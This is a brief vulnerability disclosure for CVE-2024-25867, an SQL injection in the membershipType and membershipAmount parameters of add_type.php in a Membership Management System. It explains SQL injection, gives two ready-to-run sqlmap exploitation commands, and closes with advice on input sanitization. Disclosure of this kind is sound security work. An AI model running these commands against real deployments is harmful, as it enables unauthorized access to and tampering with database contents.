CVE-2024-25867 mitre.org nvd.nist.org
9 Feb 2024
v 1.0
SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.
add_type.php
Two parameters
membershipType
andmembershipAmount
within Add Membership Type mechanism are vulnerable to SQL Injection.
The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.

Use sqlmap
with -r
option to exploit the vulnerability:
sqlmap -r mm_add_type.txt --level 5 --risk 3 --batch --dbms MYSQL -p membershipAmount
sqlmap -r mm_add_type.txt --level 5 --risk 3 --batch --dbms MYSQL -p membershipType
When using this Membership Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.
